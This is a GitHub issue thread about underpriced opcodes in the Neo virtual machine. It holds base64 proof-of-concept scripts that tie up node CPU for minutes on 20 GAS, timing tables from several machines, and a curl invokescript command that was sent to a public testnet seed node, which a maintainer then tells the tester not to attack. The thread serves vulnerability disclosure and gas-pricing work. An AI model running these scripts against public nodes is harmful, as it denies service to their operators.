GAS price for Bytes operation is too cheap: cost 37 mins with 20GAS

[dusmart]

The newbuffer will allocate lots of memory and charge only 0.00000256 GAS.

There are also some other opcode's performance with 20 GAS for reference.

Opcode	time	POC
newbuffer	0:37:19	VwEAAsDzXgF3AAIAABAAiEVvAJ13AG8AJfL///9JQA==
cat	0:08:40	VwEAAv//DwCIEYgCWYHyB3cAS0uLRW8AnXcAbwAl9f///0lA
left	0:03:00	VwEAAgAAEACIAlmB8gd3AEoCAAAQAI1FbwCddwBvACXx////SUA=
right	0:03:27	VwEAAgAAEACIAlmB8gd3AEoCAAAQAI5FbwCddwBvACXx////SUA=
reversen	0:01:57	VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfgHVW8AnXcAbwAl9f///0lA
substr	0:01:49	VwEAAgAAEACIAlmB8gd3AEoQAgAAEACMRW8AnXcAbwAl8P///0lA
newarray	0:01:29	VwEAAlkNeU93AAH4B8NFbwCddwBvACX0////QA==
newstruct	0:01:18	VwEAAlkNeU93AAH4B8ZFbwCddwBvACX0////QA==
roll	0:00:26	VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfcHUm8AnXcAbwAl9f///0lA
xdrop	0:00:26	VwEAAfgHdwAMKGFhYWJiYmJiYmJiYmNjY2NjY2NkZGRkZGRkZWVlZWVlZWZmZmZmZmZvAJ13AG8AJc////8CwPNeAXcAAfcHSEpvAJ13AG8AJfT///9JQA==
memcpy	0:00:10	VwEAAgAAEACIAgAAEACIAlmB8gd3AEsQEk0QAgAAEACJbwCddwBvACXu////SUA=
unpack	0:00:06	VwIAAfIDw3cBAlkNeU93AG8BwUlvAJ13AG8AJfX///9A
GetScriptContainer	0:01:46	QS1RCDBFIvo=

source code in Tanya

[dusmart]

They're all tested in testnet5 node in such a command.

time curl http://seed5t5.neo.org:20332 -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["'${R}'"] }'| json_pp

[dusmart]

As mentioned in paper Attacking Resource Metering in EVM, charge the repeated call more expensively is a long-term idea for preventing DoS.

Details can be seen in An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.

I agree with neo-project/neo-vm#458 by @Liaojinghui in some extents.

Totally Agree With #2724 !!!!!! Only one more concern is that maybe the parameters should be tested carefully so that no normal dAPP is blocked.

[roman-khimov]

20 GAS limit, old Core i7-8565U laptop, NeoGo:

unpack       8,491s
memcpy      14,452s
xdrop       24,287s
roll        22,844s
newstruct 1m16,028s
newarray  1m15,404s
substr      51,809s
reversen  1m11,647s
right       52,515s
left        53,186s
cat         36,936s
newbuffer 4m43,047s

[superboyiii]

20 GAS limit, i7-10875H Laptop, 48G Mem, C# neo-cli, find some interesting result (based on postman):
Before restart PC:

	1st invoke	2nd	3rd
newbuffer	4m28s	2m40s	2m51s
cat	2m56s

After restart PC:

	1st invoke	2nd	3rd
newbuffer	39m+	29m54s	30m38s
cat	2m49s	1m34s	1m12s

I've run my PC for more than 3 days, including many tasks with .NET(building, running cli...). You could see the result before restart and after restart differ a lot. And another result can be seen that the first result for invoking a certain script is always the slowest, then the second and the third will not differ a lot.
I guess will it be something related to Memory distribution on .NET or neo-cli? @roman-khimov @shargon @devhawk

[erikzhang]

neo/src/neo/SmartContract/ApplicationEngine.OpCodePrices.cs

Line 150 in f221221

[OpCode.NEWBUFFER] = 1 << 8,

The price of NEWBUFFER is 1 << 8 == 256, which means it's priced at 256 compute units, not 0.00000256GAS. The actual price is the compute units multiplied by the price factor, which defaults to 30 and is now set to 3.

Therefore, according to the number of cycles in your poc 23000000, the final actual price is 1766.4GAS (factor 30), or 176.64GAS (factor 3). And the time consumed is 0:37:19, which is 2239 seconds. Tested on my machine it will be faster than this.

To sum up, this price is basically reasonable and does not need to be adjusted.

[dusmart]

Therefore, according to the number of cycles in your poc 23000000, the final actual price is 1766.4GAS (factor 30), or 176.64GAS (factor 3). And the time consumed is 0:37:19, which is 2239 seconds.

The 23000000 in POC is not the real iteration number. It just want to consume all 20GAS which is the default limit. Real number will be 20_0000_0000 / 256 / 3 in this case.

[erikzhang]

We can discuss it in neo-project/neo-vm#471.

[roman-khimov]

Can we get an updated table after the neo-project/neo-vm#471 merge?

[dusmart]

I'd like to update it when the seed nodes get updated.
The seed node's performence differs from personal computer.
There will be a huge difference in the results.

[erikzhang]

I'd like to update it when the seed nodes get updated.

DO NOT attack seed nodes. Any testing should be done in the local environment.

[dusmart]

I'd like to update it when the seed nodes get updated.

DO NOT attack seed nodes. Any testing should be done in the local environment.

kkkkkkkk, sorry for that, won't do DoS on seed node anymore

[roman-khimov]

Just for the record, same Core i7-8565U/16GB machine as #2723 (comment), NEWBUFFER script:

$ ./bin/neo-go --version
NeoGo
Version: 0.102.1-pre-36-g460362ab
GoVersion: go1.21.2
$ time curl -sd '{ "jsonrpc": "2.0", "id": 5, "method": "invokescript", "params": ["VwEAAsDzXgF3AAIAABAAiEVvAJ13AG8AJfL///9JQA=="] }' localhost:20331
{"id":5,"jsonrpc":"2.0","result":{"state":"FAULT","gasconsumed":"2000005980","script":"VwEAAsDzXgF3AAIAABAAiEVvAJ13AG8AJfL///9JQA==","stack":[{"type":"Integer","value":"1048576"}],"exception":"at instruction 15 (NEWBUFFER): gas limit is exceeded","notifications":[]}}

real    0m36,396s
user    0m0,004s
sys     0m0,004s